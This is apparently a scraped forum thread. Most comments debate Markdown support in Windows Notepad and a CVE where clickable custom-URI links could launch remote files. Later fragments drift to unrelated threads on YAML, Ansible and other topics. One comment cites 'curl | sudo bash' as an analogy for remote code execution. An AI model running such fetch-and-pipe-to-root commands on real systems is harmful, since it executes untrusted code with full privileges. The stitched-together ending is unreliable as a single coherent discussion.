Unpopular opinion: rudimentary Markdown support is not entirely far-fetched even for a dumb text editor.
Even though I’m all against feature bloat, I think that making Markdown hyperlinks clickable is still within the Overton window of what a simple editor should be doing.
You cannot claim you're "against feature bloat" while then in the same breath say that it is acceptable that a basic text editor have an entire additional render pipeline.
If you want Markdown use VSCode, it is a first class citizen. Don't take an intentionally stripped down text editor and bolt on VSCode-like features.
As I posted in a sibling, I thought the whole point of markdown was that it was simplified to the point that rendering it was easy to do from scratch. But we fumbled that because we (collectively) have no idea what we are doing.
The whole point of markdown is that it is easily readable and editable and the structure is evident without being rendered. That it doesn't strictly need to be rendered in all or any context is its utility.
>But we fumbled that because we (collectively) have no idea what we are doing.
Because, almost entirely, the software development industry has disclaimed all responsibility. It's super common for people to try to do shit they have no experience or skill at, push their effort to be adopted by others, then when it crashes and burns they have no accountability. If software "engineers" adopted the rigors and accountability and dignity of traditional engineering, the industry would be very different.
And on top of that, now we have people letting LLMs go to town on their work, even though the things can't program worth a damn, all because those people can't be assed to actually program (you know, their job). We're entering very dark days for software quality, unfortunately.
The main problem with "Markdown support" in Notepad is that "Markdown support" is an ill-defined phrase. The closest thing to a well-defined definition is to support CommonMark but that is far, far from universal. Microsoft being Microsoft they'd probably still half-ass the job then just declare their new half-ass support a newly embraced-and-extended standard and leave it that way for the next 20 years, so asking Notepad to support Markdown is in practice asking for yet another effing Markdown dialect to come into existence and join the shambling hoard of other dialects.
Markdown is more properly understood as a family of related-but-mutually-incompatible standards, like CSV, and like "supporting CSV" is a lot more complicated than meets the eye. And supporting Markdown is already clearly non-trivial compared to the baseline of Notepad we've come to expect over the past few decades.
I might be dumb, but I thought the whole point of markdown was to get rid of all the bells and whistles of styling, having a really simplified and dumb format that only outlines structure. The follow-on being that many tools could parse, transform and render said markdown files in a way that makes sense for them. That way there's lots of tools that don't share code, but a shared definition of the format. I.e. markdown is a format (!?).
The problem is that overall we seem to have fumbled both the concept and the implementation. There a bunch of vaguely similar but incompatible markdowns and apparently rendering them is too hard and people immediately reach for an enormous pile of software (usually a web stack) to render it for them.
It should have been entirely possible for a person to write a markdown parser in a couple hours and e.g. render paragraphs, bulleted lists and tables into a terminal.
Goals aren't results. It was a goal for Markdown to be simple and universal. It is not a result.
You may be struggling a bit because you are reading some sort of moralization into the statement, some sort of emotional judgment, but there isn't any. It is clear that there does not exist a function that takes a span of "Markdown text" in and emits an abstract syntax tree that everyone agrees upon [1]. That's a fairly mathematical way of putting it, but even from an engineering point of view, the differences matter. Very quickly. It's not like you need to reach deep into crazy syntax to get to real, concrete disagreements between systems, you can hit problems with something as simple as
"_hello world _"
between the systems where they will do substantially different things.
There are literally dozens of markdown formats now.
How we got there, why such a thing exists, as interesting as those questions may be none of them change the reality on the ground. There is no universal markdown to be appealed to. The closest is CommonMark, and that explicitly exists precisely because there was no consensus in the first place. If markdown was a format, CommonMark would never have been created.
[1]: Nor does its inverse, which at times is more frustrating to me than this. I have in mind what I want to do and either can't figure out how to do it or it simply can't be done.
The answer, of course, is to design a new, universal markdown format :)
But seriously though, all those weird markdown formats could easily just have their own custom parsers than then translate into the common format--supposing the common format is the union of all their features.
Markdown is readable as plain text, that's kind of the point of it
There's also a pretty large jump between "I can ask the system to open this link in the default browser" and "I have built my own link handling in a memory-unsafe language to support some really fringe features, and oops it's exploitable"
No, that's exactly what the vulnerability is as far as I know.
"An attacker could trick a user into clicking a malicious link inside a Markdown file opened in Notepad, causing the application to launch unverified protocols that load and execute remote files." https://msrc.microsoft.com/update-guide/vulnerability/CVE-20...
Wordpad, Notepad++ and many others highlight and let you double-click the URL in the first three lines, and yes they use the shell to open cmd.exe, yes they open remote shares (which if they're properly remote, the shell throws up a warning prompt asking if you want to connect). Wordpad always prompts if you want to open the link (and shows the link) before doing it, but you can click "Yes".
What's beyond the pale is that MS's new Notepad highlighted custom URIs like the fourth link, and let you click to open it without a prompt. Even web browsers will prompt at least once with a special modal dialogue, the first time you click on a link to a custom URI. For safety, a text editor should stick to highlighting http/https/file URIs only.
That's the "RCE", in the same way that telling a Linux user to type "curl | sudo bash" in their shell is "RCE".
The fix is that clicking the link now gives a dialogue box asking if you really want to click it, and remember to click no if you're not sure.
I wish they made this clearer as being the issue. It's what it came across to me like, but I couldn't actually say for sure that's what they meant because the CVE pages didn't make it obvious. And the comments here didn't help because everyone is just complaining about feature creep rather than discussing the actual problem.
Anyway, what this now has me thinking is, should protecting against this be expected to be done per-app or should it be at the OS level? It seems like it would make more sense to have the OS keep records on what application is allowed to open what kinds of links. Maybe with some mechanism to allow the app to cooperate with the OS if they want finer-grained permissions (such as a chat app passing the poster's user ID to the OS when invoking the link, so you could set an 'always allow' rule for links from specific users rather than the full app).
Just... no... not notepad.. Notepad should be the single-simplest of text editors, always has been, always should be... it should be "safe" much like "task manager" it should be as simple and bulletproof as any application in Windows are... these are essential tools that should never, ever, ever break.
MS has WordPad... fck around with that to make it support markdown or whatever else beyond rtf you want it to support. For that matter, it's probably that much more appropriate to do so.
Do I typically use Notepad, no.. not really... I actually use the new rust based edit terminal app more than Notepad. That said, I expect notepad to do one thing... edit text files, and to not break doing so. The ONLY* addition that might be acceptable would be a HEX Editor mode, so you can edit any file.
There are maybe 5-7 applications in Windows I expect to never break... task manager, notepad, registry editor, file explorer, command prompt are at the top of that list... these are the golden tools that should never fail, even if everything else does.
Old notepad is still there, it's just in System32 and you have to disable app execution alias for notepad.exe (apps > advanced app settings > app execution aliases)
FYI, old notepad has a permanent advertisement / notification at the top saying that there's a new version of Notepad available!
I'm not sure if it's possible to get rid of the nag banner. And even if it is possible to get rid of it temporarily, it's probably not possible to get rid of it permanently.
Oh, so Microsoft can never, ever, possibly resurrect the product or even name of the product again? This is even more reason why it was probably a better place tp put features like a markdown editor.
Though I never had one (they are rare in France), it became sort of a pop culture icon. For me it was through the work of Rebecca Sugar on Adventure Time.
I always liked to play silly made up songs, so I made a silly instrument to go along with it!
If you want to listen to a true musician using it, I recommand Hijaq's work on YouTube[1]. He uses many other pocket instruments if that is an interest of yours!
It's due to fragmentation in implementations. The YAML spec is fairly large, and library authors understandably aren't excited at the prospect of dealing with all the minor details of less commonly used bits, like anchors.
You end up with YAML libraries being widely available and they all implement _most_ of the spec, but the portion not implemented varies. Plus there are minor variations in how people have read the spec, and even options _within_ the specification on how to handle parsing:
This isn't really a problem for projects like Kubernetes where most of the ecosystem uses the same library. On the other hand, OpenTelemetry is rolling out "declarative configuration" across all the supported languages. I work on OTel, and have avoided contributing in that area because I lack the patience to deal with the inconsistences - I don't hate YAML, but it can be frustrating.
AFAIK, the only 100% spec compliant implementation is libfyaml.
I see. I still wonder if the criticism is warranted in the particular context of Ansible playbooks.
First of all, who except Ansible (and ansible-lint) would even want to consume Ansible's YAML?
Regarding anchors: those are not idiomatic in Ansible at all, thanks to Ansible offering first-class support for object reuse on application level (e.g. variables and facts).
I wonder if TFA's pounding on YAML might be undeserved in this particular context.
I don't think YAML syntax is the core problem but understanding them as text files and not as serialized dicts/maps and lists.
Hell starts to open when people use string template languages to generate YAML files, such as in Helm charts. This is stupid because the templating language is not aware of the host language semantics. It is quite similar to the SQL or HTML injection problem we fought 20yrs ago and finally overcame with templated queries and auto-escaping.
I don't think the claim was that the commercial device never existed but that it was too obscure for the friend to randomly independently get targeted ads about it..
But I don't think WhatsApp takes many steps to protect media and in many cases the user really wants to backup media or share in other apps, etc, over security for media.
reply